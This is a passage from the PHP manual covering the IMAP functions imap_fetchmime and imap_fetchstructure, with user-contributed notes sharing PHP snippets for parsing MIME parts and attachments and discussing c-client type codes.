                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>
imap_fetchbody
imap_fetchmime
IMAP Functions


Fetch MIME headers for a particular section of the message

imap_fetchheader
imap_fetchstructure
IMAP Functions
PHP Manual

imap_fetchmime

(PHP 5 >= 5.3.6)

imap_fetchmime — Fetch MIME headers for a particular section of the message

Description

string imap_fetchmime ( resource $imap_stream , int $msg_number , string $section [, int $options = 0 ] )

Fetch the MIME headers of a particular section of the body of the specified messages.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

section

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

options

A bitmask with one or more of the following:

  • FT_UID - The msg_number is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

Return Values

Returns the MIME headers of a particular section of the body of the specified messages as a text string.

See Also

  • imap_fetchbody() - Fetch a particular section of the body of the message
  • imap_fetchstructure() - Read the structure of a particular message
  • imap_fetchheader() - Returns header for a message

User Contributed Notes

There are no user contributed notes for this page.
imap_fetchheader
imap_fetchstructure
IMAP Functions


Read the structure of a particular message

imap_fetchmime
imap_fetchtext
IMAP Functions
PHP Manual

imap_fetchstructure

(PHP 4, PHP 5)

imap_fetchstructure — Read the structure of a particular message

Description

object imap_fetchstructure ( resource $imap_stream , int $msg_number [, int $options = 0 ] )

Fetches all the structured information for a given message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

options

This optional parameter only has a single option, FT_UID, which tells the function to treat the msg_number argument as a UID.

Return Values

Returns an object includes the envelope, internal date, size, flags and body structure along with a similar object for each mime attachment. The structure of the returned objects is as follows:

Returned Objects for imap_fetchstructure()
type | Primary body type
encoding | Body transfer encoding
ifsubtype | TRUE if there is a subtype string
subtype | MIME subtype
ifdescription | TRUE if there is a description string
description | Content description string
ifid | TRUE if there is an identification string
id | Identification string
lines | Number of lines
bytes | Number of bytes
ifdisposition | TRUE if there is a disposition string
disposition | Disposition string
ifdparameters | TRUE if the dparameters array exists
dparameters | An array of objects where each object has an "attribute" and a "value" property corresponding to the parameters on the Content-disposition MIME header.
ifparameters | TRUE if the parameters array exists
parameters | An array of objects where each object has an "attribute" and a "value" property.
parts | An array of objects identical in structure to the top-level object, each of which corresponds to a MIME body part.

Primary body type (may vary with used library)
0 | text
1 | multipart
2 | message
3 | application
4 | audio
5 | image
6 | video
7 | other

Transfer encodings (may vary with used library)
0 | 7BIT
1 | 8BIT
2 | BINARY
3 | BASE64
4 | QUOTED-PRINTABLE
5 | OTHER

See Also

  • imap_fetchbody() - Fetch a particular section of the body of the message
  • imap_bodystruct() - Read the structure of a specified body section of a specific message

User Contributed Notes

raulggonzalez at gmail dot com 21-Sep-2010 05:54
Hello eveybody,

After reading plenty of posts (some good, some others not so good) I want to post a function to find out whether an email is coming with attachments

The function can be called passing the object returned by imap_fetchstructure() or any of its parts (recursively)

<?php
$inbox = imap_open($hostname,$username,$password) or die('Cannot connect to mail: ' . imap_last_error());
$struct = imap_fetchstructure($inbox,$uid,FT_UID);
$existAttachments = existAttachment($struct);

function existAttachment($part){
    if (isset($part->parts)){
        foreach ($part->parts as $partOfPart){
            existAttachment($partOfPart);
        }
    }
    else{
        if (isset($part->disposition)){
            if ($part->disposition == 'attachment'){
                echo '<p>' . $part->dparameters[0]->value . '</p>';
// here you can create a link to the file whose name is  $part->dparameters[0]->value to download it
                return true;
            }
        }
    }
}
?>

Hopefully somebody can use it as well
burninleo at gmx dot net 03-Aug-2010 09:42
Use imap_errors() to get rid of sticky error messages about incorrect MIME headers.
Rui Torre rui_sharkye at hotmail dot com 02-Nov-2008 02:34
I've made this two functions to decode mime headers and so far they are working just fine decoding all headers. Please let me know if you find any error. Hope they are useful for you too.

<?php

function decode_headers($cabecalho){
        while (preg_match('/^(.*)=\?([^?]*)\?(Q|B)\?(.*)$/Ui', $cabecalho)){
            $cabecalho = preg_replace("/(\t|\r|\n)/", "", $cabecalho);
            $cabecalho = preg_replace("/\?(Q|B)\?=/Ui", "?\\1? =", $cabecalho);

            $partes_cabecalho = explode("?=", $cabecalho);

            $resultado = "";
            foreach ($partes_cabecalho as $texto){
                $texto = preg_replace("/\?(Q|B)\?\s=/Ui", "?\\1?=", $texto);
                $texto = preg_replace("/\?(Q|B)\?/Ui", "=?\\1=?", $texto);

                if (preg_match('/^(.*)=\?([^?]*)=\?(Q|B)=\?(.*)$/Ui', $texto)){
                    $partes_texto = explode ("=?", $texto);

                    $parte = descodificar_parte($partes_texto[0], $partes_texto[1]);
                    $parte .= descodificar_parte($partes_texto[3], $partes_texto[2]);
                } else {
                    $parte = $texto;
                }

                if (strtoupper($partes_texto[1]) == "UTF-8"){ $parte = utf8_decode($parte);}
                $resultado .= $parte;
            }
            $cabecalho = $resultado;
        }

        return trim($cabecalho);
    }

    function descodificar_parte($texto, $codificacao){
        if (trim($texto) == ""){ return "";}

        if (ucfirst($codificacao) == "B"){
            $texto = base64_decode($texto);
            $texto = htmlspecialchars($texto);
        } else if (ucfirst($codificacao) == "Q"){
            $texto = str_replace("_", " ", $texto);
            $texto = quoted_printable_decode($texto);
        }
        return $texto;
    }

?>
Rui Torre rui_sharkye at hotmail dot com 29-Oct-2008 10:38
I'm programing an webmail program and trying to make the less code possible, so I've made this function to get all mail parts

Hope it helps someone or if you manage to improve this function please post me.

<?php
$caixa_mail = @imap_open ("{localhost:143/notls}INBOX", $user, $password) or die ("It was not possible to establish the imap connection.");

$uid_msg = 1;

$partes_mensagem = obter_partes($caixa_mail, $uid_msg);

function obter_partes($imap, $uid, $estrutura = false, $nparte = 1){
    if (!$estrutura){ $estrutura = imap_fetchstructure($imap, $uid, FT_UID);}

    //This shows the headers part number (I need to work a little more on this part)

    if ($estrutura->parts > 0){
        $decimas = explode(".", $nparte);
        $decimas[count($decimas)-1] -= 1;
        $np = implode(".", $decimas);
    } else {
        $np = $nparte;
    }

    //Its a possible message parte (plain or html)
    if ($estrutura->type == 0){ print "> mensagem: ";}
    print "$np - ".$estrutura->subtype."<br>";

    if (count($estrutura->parts) > 0){
        foreach ($estrutura->parts as $n => $parte){
            if ($n >= 1){
                $arr_decimas = explode(".", $nparte);
                $arr_decimas[count($arr_decimas)-1] += 1;
                $nparte = implode(".", $arr_decimas);
            }

            if ($parte->type != 1){
                if ($parte->type == 0){ print "mensagem: ";}
                print "$nparte - ".$parte->subtype."<br>";
            }

            if (count($parte->parts) > 0){
                if ($parte->type == 1){
                    obter_partes($imap, $uid, $parte, $nparte.".".($n+1));
                } else {
                    foreach ($parte->parts as $idx => $prt){
                        obter_partes($imap, $uid, $prt, $nparte.".".($idx+1));
                    }
                }
            }
        }
    }
}
?>
david at hundsness dot com 12-Sep-2008 01:00
[EDITORS: This post corrects mistakes in my previous post, so please delete #85486 on 02-Sep-2008 02:31]

Here is code to parse and decode all types of messages, including attachments. I've been using something like this for a while now, so it's pretty robust.

<?
function getmsg($mbox,$mid) {
    // input $mbox = IMAP stream, $mid = message id
    // output all the following:
    global $htmlmsg,$plainmsg,$charset,$attachments;
    // the message may in $htmlmsg, $plainmsg, or both
    $htmlmsg = $plainmsg = $charset = '';
    $attachments = array();

    // HEADER
    $h = imap_header($mbox,$mid);
    // add code here to get date, from, to, cc, subject...

    // BODY
    $s = imap_fetchstructure($mbox,$mid);
    if (!$s->parts)  // not multipart
        getpart($mbox,$mid,$s,0);  // no part-number, so pass 0
    else {  // multipart: iterate through each part
        foreach ($s->parts as $partno0=>$p)
            getpart($mbox,$mid,$p,$partno0+1);
    }
}

function getpart($mbox,$mid,$p,$partno) {
    // $partno = '1', '2', '2.1', '2.1.3', etc if multipart, 0 if not multipart
    global $htmlmsg,$plainmsg,$charset,$attachments;

    // DECODE DATA
    $data = ($partno)?
        imap_fetchbody($mbox,$mid,$partno):  // multipart
        imap_body($mbox,$mid);  // not multipart
    // Any part may be encoded, even plain text messages, so check everything.
    if ($p->encoding==4)
        $data = quoted_printable_decode($data);
    elseif ($p->encoding==3)
        $data = base64_decode($data);
    // no need to decode 7-bit, 8-bit, or binary

    // PARAMETERS
    // get all parameters, like charset, filenames of attachments, etc.
    $params = array();
    if ($p->parameters)
        foreach ($p->parameters as $x)
            $params[ strtolower( $x->attribute ) ] = $x->value;
    if ($p->dparameters)
        foreach ($p->dparameters as $x)
            $params[ strtolower( $x->attribute ) ] = $x->value;

    // ATTACHMENT
    // Any part with a filename is an attachment,
    // so an attached text file (type 0) is not mistaken as the message.
    if ($params['filename'] || $params['name']) {
        // filename may be given as 'Filename' or 'Name' or both
        $filename = ($params['filename'])? $params['filename'] : $params['name'];
        // filename may be encoded, so see imap_mime_header_decode()
        $attachments[$filename] = $data;  // this is a problem if two files have same name
    }

    // TEXT
    elseif ($p->type==0 && $data) {
        // Messages may be split in different parts because of inline attachments,
        // so append parts together with blank row.
        if (strtolower($p->subtype)=='plain')
            $plainmsg .= trim($data) ."\n\n";
        else
            $htmlmsg .= $data ."<br><br>";
        $charset = $params['charset'];  // assume all parts are same charset
    }

    // EMBEDDED MESSAGE
    // Many bounce notifications embed the original message as type 2,
    // but AOL uses type 1 (multipart), which is not handled here.
    // There are no PHP functions to parse embedded messages,
    // so this just appends the raw source to the main message.
    elseif ($p->type==2 && $data) {
        $plainmsg .= trim($data) ."\n\n";
    }

    // SUBPART RECURSION
    if ($p->parts) {
        foreach ($p->parts as $partno0=>$p2)
            getpart($mbox,$mid,$p2,$partno.'.'.($partno0+1));  // 1.2, 1.2.1, etc.
    }
}
?>
david at hundsness dot com 02-Sep-2008 02:31
Here is code to parse and decode all types of messages, including attachments. I've been using something like this for awhile now, so it's pretty robust.

<?
function getmsg($mbox,$mid) {
    // input $mbox = IMAP stream, $mid = message id
    // output all the following:
    global $charset,$htmlmsg,$plainmsg,$attachments;
    $htmlmsg = $plainmsg = $charset = '';
    $attachments = array();

    // HEADER
    $h = imap_header($mbox,$mid);
    // add code here to get date, from, to, cc, subject...

    // BODY
    $s = imap_fetchstructure($mbox,$mid);
    if (!$s->parts)  // simple
        getpart($mbox,$mid,$s,0);  // pass 0 as part-number
    else {  // multipart: cycle through each part
        foreach ($s->parts as $partno0=>$p)
            getpart($mbox,$mid,$p,$partno0+1);
    }
}

function getpart($mbox,$mid,$p,$partno) {
    // $partno = '1', '2', '2.1', '2.1.3', etc for multipart, 0 if simple
    global $htmlmsg,$plainmsg,$charset,$attachments;

    // DECODE DATA
    $data = ($partno)?
        imap_fetchbody($mbox,$mid,$partno):  // multipart
        imap_body($mbox,$mid);  // simple
    // Any part may be encoded, even plain text messages, so check everything.
    if ($p->encoding==4)
        $data = quoted_printable_decode($data);
    elseif ($p->encoding==3)
        $data = base64_decode($data);

    // PARAMETERS
    // get all parameters, like charset, filenames of attachments, etc.
    $params = array();
    if ($p->parameters)
        foreach ($p->parameters as $x)
            $params[strtolower($x->attribute)] = $x->value;
    if ($p->dparameters)
        foreach ($p->dparameters as $x)
            $params[strtolower($x->attribute)] = $x->value;

    // ATTACHMENT
    // Any part with a filename is an attachment,
    // so an attached text file (type 0) is not mistaken as the message.
    if ($params['filename'] || $params['name']) {
        // filename may be given as 'Filename' or 'Name' or both
        $filename = ($params['filename'])? $params['filename'] : $params['name'];
        // filename may be encoded, so see imap_mime_header_decode()
        $attachments[$filename] = $data;  // this is a problem if two files have same name
    }

    // TEXT
    if ($p->type==0 && $data) {
        // Messages may be split in different parts because of inline attachments,
        // so append parts together with blank row.
        if (strtolower($p->subtype)=='plain')
            $plainmsg. = trim($data) ."\n\n";
        else
            $htmlmsg. = $data ."<br><br>";
        $charset = $params['charset'];  // assume all parts are same charset
    }

    // EMBEDDED MESSAGE
    // Many bounce notifications embed the original message as type 2,
    // but AOL uses type 1 (multipart), which is not handled here.
    // There are no PHP functions to parse embedded messages,
    // so this just appends the raw source to the main message.
    elseif ($p->type==2 && $data) {
        $plainmsg. = $data."\n\n";
    }

    // SUBPART RECURSION
    if ($p->parts) {
        foreach ($p->parts as $partno0=>$p2)
            getpart($mbox,$mid,$p2,$partno.'.'.($partno0+1));  // 1.2, 1.2.1, etc.
    }
}
?>
misc at e2007 dot cynergi dot com 21-Oct-2007 07:53
First of all, for a while now (not sure since which PHP version) a new "primary body type" constant exists: TYPEMODEL (int(7)) and TYPEOTHER became int(8). Furthermore the use of these constants can be misleading. The issue is that "other" MIME-types aren't just ==TYPEOTHER, but rather >=TYPEOTHER. I've added a PHP feature request to help solve this (http://bugs.php.net/43061).

To learn more, read this extract of a conversation I've had with Mark Crispin of IMAP's extension mailing list at UW (e-mail addresses deleted):

----
Mark Crispin:

I certainly understand the frustrations that end users experience with apparent mutual finger-pointing.  The way to solve it is through communication.

For what it's worth, here are the current semantics of type codes:
     0    TEXT
     1    MULTIPART
     2    MESSAGE
     3    APPLICATION
     4    AUDIO
     5    IMAGE
     6    VIDEO
     7    MODEL
     8    X-UNKNOWN (or expansion types filed up)
     9    first expansion type
      ...
     TYPEMAX    last expansion type (currently 15)

On Wed, 17 Oct 2007, Cynergi wrote:
(...)
> -----Original Message-----
> Sent: terça-feira, 16 de Outubro de 2007 17:35
> To: Cynergi
> Subject: Re: [Imap-uw] Apparent bug in imap-2006k.DEV.SNAP-0710121414
> (and older?)
>
> Thank you for your report.
>
> This is not a bug.  The c-client library is designed to behave this way.
>
> MIME types and encodings are, by definition in MIME, open-ended.  From
> time to time, the IETF defines new MIME types.  It is desirable that
> c-client be able to handle these without having to make a source code
> modification to c-client.
>
> To allow applications to support types and encodings that are unknown
> to c-client, c-client will automatically add a (limited) number of
> unknown types and encodings to its tables before resorting to
> TYPEOTHER and ENCOTHER.  The names of these added types and encodings
> are available in the body_types[] and body_encodings[] arrays.
>
> Put another way, TYPEOTHER and ENCOTHER are only used if c-client is
> overflowed with unknown types and/or encodings.
>
> If the PHP developers had asked me about this, I would have explained
> this to them.  Unfortunately, they have a habit of labelling
> unexpected behaviors as "bugs" rather than seeking answers.  I have
> tried to post amended information on the PHP bugzilla in the past, but
> was rewarded with a "you are not authorized to do so" so I've given up.
>
> Hence, a more correct behavior for PHP is not to use type code values,
> but instead to use the body_types[type_code] string.
>
> I hope that this information is helpful.
>
> On Mon, 15 Oct 2007, Cynergi wrote:
>
>> Dear Sirs,
>>
>> I only want to make a bug report. I use PHP for development so I
>> really won't be able to keep up with messages from this list. Please
>> don't take offense if I unsubscribe in a few days after sending this
> message.
>>
>> While developing a Webmail for www.cynergi.com, we started coming
>> upon some
>> (spam) messages with bad MIME types. However PHP (via your c-client
>> library) reported a MIME type code of 9 instead of TYPEOTHER (8).
>>
>> Looking at your library I seem to have found the bug. From a comment
>> in our source code:
>>
>>     Unknown MIME-types (such as "25-bit") are returned as int(9) due to
> a
>>     bug in c-client's rfc822.c "body_types" array that defines TYPEOTHER
>>     as "X-UNKNOWN"; then when imap4r1.c goes to match a MIME-type and
>>     can't match any of body_types' strings (including TYPEOTHER's), it
>>     returns the next available integer (9).
>>     This same bug also seems to apply to ENCOTHER.
>>
>> I am unaware if the body_types array is also used to CREATE
>> MIME-types. If so, deleting "X-UNKNOWN" from there won't be the
>> solution (the solution will then have to be fixing imap4r1.c's code).
>>
>> Thank you for your time, and for such a great open-source library!!
>> :-)
>>
>> Pedro Freire
>> Cynergi
phpnet,a,emailaddress,cjb,net 26-Sep-2007 07:13
Another comment to inform people about something that should really be in the function description:

imap_fetchstructure() downloads the entire email, attachments and all, rather than just the structure.
I guess it's an undocumented feature, not a bug.

I had assumed that the script would have only downloaded the amount of data that was returned, but my script downloaded a cumulative 2.5gig before i noticed.  Hopefully no-one else will have this happen.
oersoep at gmail dot com 29-Jan-2006 11:58
Please keep in mind that the "parameters" array is a stdClass object when there are no parameters, and NOT a zero-size array.
In PHP5 you'll get this error when iterating structure->parts[x]->parameters if there aren't any parameters for this part:

PHP Fatal error:  Cannot use object of type stdClass as array in file.php on line 100
sirber at detritus dot qc dot ca 04-Jan-2006 11:48
"Primary body type" of "unknown/unknown" will be int(9).
hans at lintoo dot dk 22-Sep-2005 07:07
To fetch a single part (for example to investigate a charset or something like that)

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {
        $this->structureObject = $structureInfo;

    }

    // snip....

    public function getPart($partNum) {
        $path = split("[.]",$partNum);
        $currentPart = $this->structureObject;
        foreach ($path as $key => $num) {
            $currentPart = $currentPart->parts[$num-1];
        }
        return $currentPart;
    }
}
?>
hans at lintoo dot dk 22-Sep-2005 06:14
A class for searching through a stucture object.
You can search matching 1-3 parameters or use the methods included.
Feel free to use it, correct it or extend it if you please. Enjoy!

http://lintoo.dk/public/structureengine.class.phps

The code was too wide for this manual, so I hope the link above will do. Here a quick overview instead:

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {}
    public function locatePlain() {}
    public function locateHTML() {}
    public function locateAttachments() {}
    private function checkParam($part, $type, $value) {}
    private function findParts($partsArray, $prefix, $param1Type = 'type', $param1Value = 0, $param2Type = null, ...) {}
}
?>
john at vetsurgeon dot org dot uk 04-Jul-2005 09:07
A little script I threw together to break a message down and process it into a usable array

<?
//script will fetch an email identified by $msgid, and parse the its parts into an
//array $partsarray
//structure of array:
//$partsarray[<name of part>][<attachment/text>]
//if attachment- subarray is [filename][binary data]
//if text- subarray is [type of text(HTML/PLAIN)][text string]

//i.e.
//$partsarray[3.1][attachment][filename]=filename of attachment in part 3.1
//$partsarray[3.1][attachment][binary]=binary data of attachment in part 3.1
//$partsarray[2][text][type]=type of text in part 2
//$partsarray[2][text][string]=decoded text string in part 2
//$partsarray[not multipart][text][string]=decoded text string in message that isn't multipart

function parsepart($p,$i){
    global $link,$msgid,$partsarray;
    //where to write file attachments to:
    $filestore = '[full/path/to/attachment/store/(chmod777)]';

    //fetch part
    $part=imap_fetchbody($link,$msgid,$i);
    //if type is not text
    if ($p->type!=0){
        //DECODE PART
        //decode if base64
        if ($p->encoding==3)$part=base64_decode($part);
        //decode if quoted printable
        if ($p->encoding==4)$part=quoted_printable_decode($part);
        //no need to decode binary or 8bit!

        //get filename of attachment if present
        $filename='';
        // if there are any dparameters present in this part
        if (count($p->dparameters)>0){
            foreach ($p->dparameters as $dparam){
                if ((strtoupper($dparam->attribute)=='NAME') ||(strtoupper($dparam->attribute)=='FILENAME')) $filename=$dparam->value;
                }
            }
        //if no filename found
        if ($filename==''){
            // if there are any parameters present in this part
            if (count($p->parameters)>0){
                foreach ($p->parameters as $param){
                    if ((strtoupper($param->attribute)=='NAME') ||(strtoupper($param->attribute)=='FILENAME')) $filename=$param->value;
                    }
                }
            }
        //write to disk and set partsarray variable
        if ($filename!=''){
            $partsarray[$i][attachment] = array('filename'=>$filename,'binary'=>$part);
            $fp=fopen($filestore.$filename,"w+");
            fwrite($fp,$part);
            fclose($fp);
            }
    //end if type!=0
    }

    //if part is text
    else if($p->type==0){
        //decode text
        //if QUOTED-PRINTABLE
        if ($p->encoding==4) $part=quoted_printable_decode($part);
        //if base 64
        if ($p->encoding==3) $part=base64_decode($part);

        //OPTIONAL PROCESSING e.g. nl2br for plain text
        //if plain text

        if (strtoupper($p->subtype)=='PLAIN')1;
        //if HTML
        else if (strtoupper($p->subtype)=='HTML')1;
        $partsarray[$i][text] = array('type'=>$p->subtype,'string'=>$part);
    }

    //if subparts... recurse into function and parse them too!
    if (count($p->parts)>0){
        foreach ($p->parts as $pno=>$parr){
            parsepart($parr,($i.'.'.($pno+1)));
            }
        }
return;
}

//open resource
$link=imap_open("{localhost:110/pop3}INBOX",'[YOUR USERNAME]','[YOUR PASSWORD]');

//fetch structure of message
$s=imap_fetchstructure($link,$msgid);

//see if there are any parts
if (count($s->parts)>0){
foreach ($s->parts as $partno=>$partarr){
    //parse parts of email
    parsepart($partarr,$partno+1);
    }
}

//for not multipart messages
else{
    //get body of message
    $text=imap_body($link,$msgid);
    //decode if quoted-printable
    if ($s->encoding==4) $text=quoted_printable_decode($text);
    //OPTIONAL PROCESSING
    if (strtoupper($s->subtype)=='PLAIN') $text=$text;
    if (strtoupper($s->subtype)=='HTML') $text=$text;

    $partsarray['not multipart'][text]=array('type'=>$s->subtype,'string'=>$text);
}

print_r($partsarray);
?>
masterbassist 18-Apr-2005 09:52
I think the following line (when building attachment information)

>>> "filename" => $parts[$i]->parameters[0]->value

needs to be

>>> "filename" => $parts[$i]->dparameters[0]->value

The first version generated a PHP warning under PHP 5.0.3.  The second version actually gets the filename.
spam at emielmols dot info 01-Apr-2005 03:47
I've created a function which simply extracts basic message content as a string ($content) and attachments as an array ($attachments). I've tested it with messages from Outlook, Outlook Express and Hotmail. Perhaps it's useful to anyone.

<?php
        $struct = imap_fetchstructure($mbox, $mid);

        $parts = $struct->parts;
        $i = 0;

        if (!$parts) { /* Simple message, only 1 piece */
          $attachment = array(); /* No attachments */
          $content = imap_body($mbox, $mid);
        } else { /* Complicated message, multiple parts */

          $endwhile = false;

          $stack = array(); /* Stack while parsing message */
          $content = "";    /* Content of message */
          $attachment = array(); /* Attachments */

          while (!$endwhile) {
            if (!$parts[$i]) {
              if (count($stack) > 0) {
                $parts = $stack[count($stack)-1]["p"];
                $i     = $stack[count($stack)-1]["i"] + 1;
                array_pop($stack);
              } else {
                $endwhile = true;
              }
            }

            if (!$endwhile) {
              /* Create message part first (example '1.2.3') */
              $partstring = "";
              foreach ($stack as $s) {
                $partstring .= ($s["i"]+1) . ".";
              }
              $partstring .= ($i+1);

              if (strtoupper($parts[$i]->disposition) == "ATTACHMENT") { /* Attachment */
                $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                      "filedata" => imap_fetchbody($mbox, $mid, $partstring));
              } elseif (strtoupper($parts[$i]->subtype) == "PLAIN") { /* Message */
                $content .= imap_fetchbody($mbox, $mid, $partstring);
              }
            }

            if ($parts[$i]->parts) {
              $stack[] = array("p" => $parts, "i" => $i);
              $parts = $parts[$i]->parts;
              $i = 0;
            } else {
              $i++;
            }
          } /* while */
        } /* complicated message */

        echo "Analyzed message $mid, result: <br />";
        echo "Content: $content<br /><br />";
        echo "Attachments:"; print_r ($attachment);
?>
y dot daradkeh at gmail dot com 20-Dec-2004 07:40
Hey people, get the message attachments with this code:

<?php

$mbox = imap_open("$imap_server".$f,$name,$pass);

// delibertely choose a message with an attachment

$info = imap_fetchstructure($mbox, $mno);

// find out how may parts the object has
$numparts = count($info->parts);

$i=0;
// find if multipart message
if ($numparts >1)
{
   echo "<b>More than one part</b><br><br>";

   foreach ($info->parts as $part)
   {
      if ($part->disposition == "INLINE")
         printf("Inline message has %s lines<BR>", $part->lines);
     elseif ($part->disposition == "attachment")
     {
       $i++;
       echo $i." Attachment/s found!<br>";
       echo "Filename: ".$part->dparameters[0]->value."<br><br>";
     }
   }
}
else
   echo "Only one part";

imap_close($mbox);
?>
aperez at informatica dot 24ruedas dot com 16-Jun-2004 12:10
About above comment and source code I wrote: certainly, plain/html text files are attachments, but I've written my code thinking about web IMAP clients, where text parts are not for downloading, simply they are shown. That's the reason.

Thanks anyway. :)
passeniermaxime at hotmail dot com 15-Jun-2004 08:15
I have written a code that check's for attachments.
There is a slight problem with the above code;
when you send a mail with a .txt document as attachment
the type will be 0 and so there won't be a attachment found.

I check for the disposition of the body part witch can be inline or attachment.
If this is an attachment he will display it.
You an also mix up both codes by checking on the type and the disposition.

//////////////////////////////////
///   $mbox = connection
///   $a_mails_sort[$i] = message id

$structuur = imap_fetchstructure($mbox,$a_mails_sort[$i]);
$bericht_delen=$structuur->parts;
for($i_delen = 0; $i_delen<=count($bericht_delen);$i_delen++)
  {
  if($bericht_delen[$i_delen]->disposition == "attachment")
    {
    $attachment = "OK";
    }// end if
  }//end for
aperez at informatica dot 24ruedas dot com 25-May-2004 12:12
This is my function to check attachments:

<?php
  $est=imap_fetchstructure($con,$msg);

  if(checkAttachments($est))
  {
    echo("You have attachment(s)");
  }
  else
  {
    echo("You don't have attachment(s)");
  }

  function checkAttachments($estMsg)
  {
    if(($estMsg->type!=0) && ($estMsg->type!=1))
    {
      // Text and multipart parts will not be shown as attachments
      return(true);
    }
    else
    {
      // If there's no attachments, parts inside will be checked
      if($estMsg->parts)
      {
        $partMsg=$estMsg->parts;
        $i=0;
        // Parts will be checked while no attachments found or not all of them checked
        while(!(checkAttachments($partMsg[$i])) && ($i<sizeof($estMsg->parts)))
        {
          $i++;
        }

        // If any 'checkAttachment' calls returned 'true', 'i' should be
        // equal to number of parts(after increased in while). So, no
        // attachments found
        if($i==sizeof($estMsg->parts))
        {
          return(false);
        }
        else
        {
          return(true);
        }
      }
      else
      {
        // If no parts and text or multipart type, no attachments
        return(false);
      }
    }
  }
  imap_close($con);
?>

I hope this helps somebody else(if bugs, thanks for your fixes).
richy at smilingsouls dot net 28-Jan-2004 03:08
After many long hours of pouring over the object returned by imap_fetchstructure() I came up with the solution posted at the following url:

http://p2p.wrox.com/topic.asp?TOPIC_ID=9063

The url above provides an example of how to access variables in the object returned by imap_fetchstructure().  This class creates an object with member variables containing the correct part numbers which are compatible with the imap_fetchbody() function.

The structure returned looks something like this:

                       0 Raw Headers
$this->pid[$mid][0]  =  1 text/plain                        top level message
$this->pid[$mid][1]  =  2 message/rfc822                    entire unparsed message
                                                             multipart/mixed - part is skipped!
                           2.0 Raw Headers
$this->pid[$mid][2]  =      2.1 multipart/alternative       contains unparsed contents of next subpart (text/plain && text/html)
                                2.1.0 Raw Headers
$this->pid[$mid][3]  =          2.1.1 text/plain            2nd level inline embedded message
$this->pid[$mid][4]  =          2.1.2 text/html

$this->pid[$mid][5]  =      2.2 message/rfc822              entire unparsed message
                                                             multipart/mixed - part is skipped!
                                2.2.0 Raw Headers
$this->pid[$mid][6]  =          2.2.1 multipart/alternative
$this->pid[$mid][7]  =              2.2.1.1 text/plain      3rd level inline embedded message
$this->pid[$mid][8]  =              2.2.1.2 text/html
$this->pid[$mid][9]  =            2.2.2 image/jpeg
$this->pid[$mid][10] =             2.2.3 image/jpeg
$this->pid[$mid][11] =            2.2.4 image/jpeg
$this->pid[$mid][12] =            2.2.5 image/gif

Its important to note why multipart/related, multipart/mixed and certain multipart/alternative (if parent part is message/rfc822 && not multipart/mixed) parts are skipped, imap_fetchbody **does not** retreive a message part for these parts.  Which isn't a bug, as I have read in other places, these parts exist for the purpose of designing the viewer portion of a mail application.  Also, headers aren't assigned part numbers here because they are easy to pick out.

: )
Rich
chrislhill at "O_o" hotmail dot com 23-Oct-2003 11:36
For people just beging this may help alot as I spent a couple hours just trying to relize how exact the array was stored. (at the time I did not know the print_r function :P)

$struct = imap_fetchstructure($mbox, $msgnumber);
print_r($struct);

Will give you a better example for your messages but they are called as $struct using the varible method above.

$struct->type; //would return the type
$struct->encoding //would return the encoding

and etc..

This can be done many different ways but that is the basics on pulling the info out of the structure of fetchstructure itself, I hope it helps someone starting because it wouldve helped me :/.
es96 at hotmail dot com 13-Aug-2003 02:38
If you are getting CHARSET as US-ASCII even if the header has a Content-Type: field, make sure the header also has a MIME-Version: field.

For example, the following header will correcty report charset as KOI8-R

MIME-Version: 1.0
Content-Type: text/plain; charset="koi8-r"

Without the MIME-Version it will be reported as US-ASII
as1 at powersite dot com dot ar 30-Dec-2002 01:57
Sorry, my before code is not complet:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
  $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
  $j = 1;
  while( imap_fetchbody( $conn, $curMsg, "$i.$j" ) ){
    $struct->parts[$i-1]->parts[$j-1] = imap_bodystruct( $conn, $curMsg, "$i.$j" );
    $j++;
    }
  $i++;
}
as1 at powersite dot com dot ar 30-Dec-2002 01:01
If your imap_fetchstructure not retrive all parts, write it:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
   $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
   $i++;
}
paradise at ml75 dot com 04-Dec-2002 07:40
I'm using freeBSD and had lots of problems with all functions/mail applications i could find on the net...

So i'm writing my own now..

Most of the stuff works fine now.. but i'm still working on the chooser to select the best part to show. (plain or HTML).

The #1 problem is that most functions give the wrong ID numbers beck to fetch the body.

Here's a sollution to that problem.. :P

// Debug function.. always handy until it's 100% completed..
   $attachments = array(); $dispos=0;
   $debug=true;
   function doDebug($msg){
      global $debug, $debug_depth, $dispos;
      if($debug){
         for($y = 0; $y < $debug_depth; $y++) echo("&nbsp;&nbsp;&nbsp;&nbsp;");
         if($dispos == 0) echo($msg."<br/>"); else echo("<i>".$msg."</i><br/>");
      }
   }

   function Check_Part($part,$id){
      global $attachments, $debug, $debug_depth, $dispos; $ans=sizeof($attachments);
      doDebug("+Checking part $id");
      $debug_depth++;
      doDebug("Parttype=".$part->type ."/". mimetype($part->type) ."/". $part->subtype);

      if($part->ifdisposition){ $dispos++; doDebug("<b>Disposition</b>"); }
      if($part->ifdescription){ doDebug("<b>Description=".$part->description."</b>"); }

         switch($part->type){
           case 1: if((strtolower($part->subtype) == "mixed")
                        or (strtolower($part->subtype)  == "alternative")
                        or (strtolower($part->subtype) == "related")) break;

           default: $an = sizeof($attachments);
                    if($part->ifdparameters){
                       $dpara = $part->dparameters;
                       for ($v=0;$v<sizeof($dpara);$v++){
                          if (eregi("filename", $dpara[$v]->attribute))
                             $fname = $dpara[$v]->value;}
                    }
                    if($part->ifparameters){
                       if(empty($fname)){
                          $para = $part->parameters;
                          for ($v=0;$v<sizeof($para);$v++){
                             if (eregi("name", $para[$v]->attribute)) $fname = $para[$v]->value;
                          }
                       }
                    }
                    if(empty($fname))$fname = "Onbekend";

                  $attachments[$an]->id = ($an+1);
